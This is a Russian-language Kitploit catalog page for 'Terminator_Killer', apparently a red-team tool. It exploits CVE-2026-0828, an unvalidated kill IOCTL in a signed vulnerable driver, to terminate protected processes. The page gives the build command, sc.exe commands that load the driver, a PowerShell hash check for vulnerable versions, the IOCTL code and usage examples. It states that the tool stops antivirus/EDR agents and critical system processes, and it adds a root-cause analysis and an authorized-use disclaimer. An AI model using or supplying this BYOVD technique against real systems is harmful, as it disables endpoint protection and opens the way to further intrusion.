Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/hika-sec/terminator_killer
Повышение привилегийАнализ уязвимостейЭксплуатацияОбход IDS/IPSТестирование на ПроникновениеRed Teaming
GitHubhika-sec/terminator_killer

Terminator_Killer

Убийца процессов в режиме ядра, эксплуатирующий CVE-2026-0828 (BYOVD) для завершения защищённых процессов через уязвимый подписанный драйвер, в обход PPL и защиты конечных точек.

Репозиторий
121 ч 36 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Terminator - убийца процессов Red Team

Инструмент завершения процессов в режиме ядра, использующий уязвимый драйвер (CVE-2026-0828) для остановки защищённых процессов из пользовательского режима.

Компиляция

Требуется MinGW-w64 (GCC) в Windows. Скомпилируйте с помощью:

root@kitploit:~
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W

Описание флагов:

ФлагНазначение
--%Токен PowerShell для остановки разбора (передаёт аргументы в g++ как есть)
-OzОптимизация для минимального размера
-ffunction-sections / -fdata-sectionsРазмещает каждую функцию/данные в отдельной секции
-static / -static-libgcc / -static-libstdc++Статическая компоновка (без зависимостей от DLL времени выполнения)
-Wl,--gc-sectionsКомпоновщик удаляет неиспользуемые секции
-WВключить предупреждения

Результат: автономный terminator.exe (~20-30 КБ, без отладочных символов).

Техническая суть

Этот проект демонстрирует эксплуатацию уязвимого драйвера ядра (STProcessMonitorDriver), который предоставляет невалидированный обработчик IOCTL_KILL_PROCESS, позволяющий завершать произвольные процессы независимо от привилегий или механизмов защиты (PPL, флаги EPROCESS и т. д.).

Разбор архитектуры

КомпонентНазначение
terminator.cppПользовательский клиент, который перечисляет процессы и отправляет IOCTL-запросы на завершение
terminator.hppИнтерфейс класса для перечисления и завершения процессов
ProcessMonitorDriver.sysУязвимый драйвер ядра (внешний, не включён в комплект)

Анализ кода

Terminator::GetProcessPids()

  • Создаёт снимок через CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)
  • Перебирает все процессы с помощью Process32First/Process32Next
  • Выполняет поиск без учёта регистра по целевым именам процессов
  • Возвращает вектор совпавших PID

Terminator::ProcessKill()

  • Открывает дескриптор \\.\STProcessMonitorDriver
  • Входит в бесконечный цикл мониторинга (интервал 500 мс)
  • Для каждого обнаруженного PID отправляет IOCTL_KILL_PROCESS (0xB822200C) с 8-байтным буфером PID
  • Нет вывода, когда процессы не найдены; журналирует только попытки завершения

Руководство по использованию

Предварительные требования

Загрузите уязвимый драйвер (требуются права администратора):

root@kitploit:~
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor

Эксплуатация существующей службы

Если уязвимая версия ProcessMonitorDriver.sys уже установлена и работает как служба (например, от легитимного приложения), Terminator может подключиться напрямую без загрузки нового драйвера.

Проверьте, существует ли служба и запущена ли она:

root@kitploit:~
sc.exe query STProcessMonitor

Проверьте, уязвима ли версия драйвера (PowerShell):

root@kitploit:~
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
    $hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
    $vulnerableHashes = @(
        "70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b",  # 11.11.4.0
        "85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786"   # 10.5.75.0
    )
    if ($vulnerableHashes -contains $hash) {
        Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
        Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
    } else {
        Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
    }
} else {
    Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}

Если служба существует, находится в состоянии RUNNING и использует уязвимую версию, пропустите шаги загрузки драйвера и запустите Terminator напрямую.

Затронутые версии (протестировано)

ВерсияSHA-256
11.11.4.070bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
10.5.75.085d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786

Другие версии также могут быть затронуты; перед использованием проверьте обработчик IOCTL драйвера.

Запуск Terminator

root@kitploit:~
terminator.exe -proc <process_name1> [process_name2] ...

Пример:

root@kitploit:~
terminator.exe -proc notepad.exe calc.exe

Вывод

root@kitploit:~
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.

Анализ CVE-2026-0828

Уязвимость: драйвер STProcessMonitorDriver регистрирует обработчик IOCTL (0xB822200C), который:

  1. Принимает переданный пользователем 64-битный PID в качестве входного буфера
  2. Не выполняет никакой проверки значения PID
  3. Напрямую вызывает PsLookupProcessByProcessId → ZwTerminateProcess
  4. Выполняется в контексте ядра (токен SYSTEM), обходя все ACL пользовательского режима

Воздействие: любой пользователь без прав администратора, имеющий доступ к драйверу, может завершить:

  • Защищённые процессы (PPL)
  • Агенты антивирусов/EDR
  • Критические системные процессы (csrss, winlogon и т. д.)
  • Процессы, требующие наличия привилегии SeDebugPrivilege

Корневая причина: отсутствует проверка ObReferenceObjectByHandle, нет вызова SeSinglePrivilegeCheck(SeDebugPrivilege) и нет проверок доступа к объекту процесса.

Отказ от ответственности

Этот инструмент предназначен только для санкционированных исследований безопасности и учений Red Team.

Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно. Автор не несёт ответственности за неправомерное использование. Перед развёртыванием в любой среде убедитесь, что у вас есть письменное разрешение.

Уязвимый драйвер (ProcessMonitorDriver.sys) намеренно содержит дефекты для демонстрационных целей и никогда не должен разворачиваться в производственной среде.

Скачать инструмент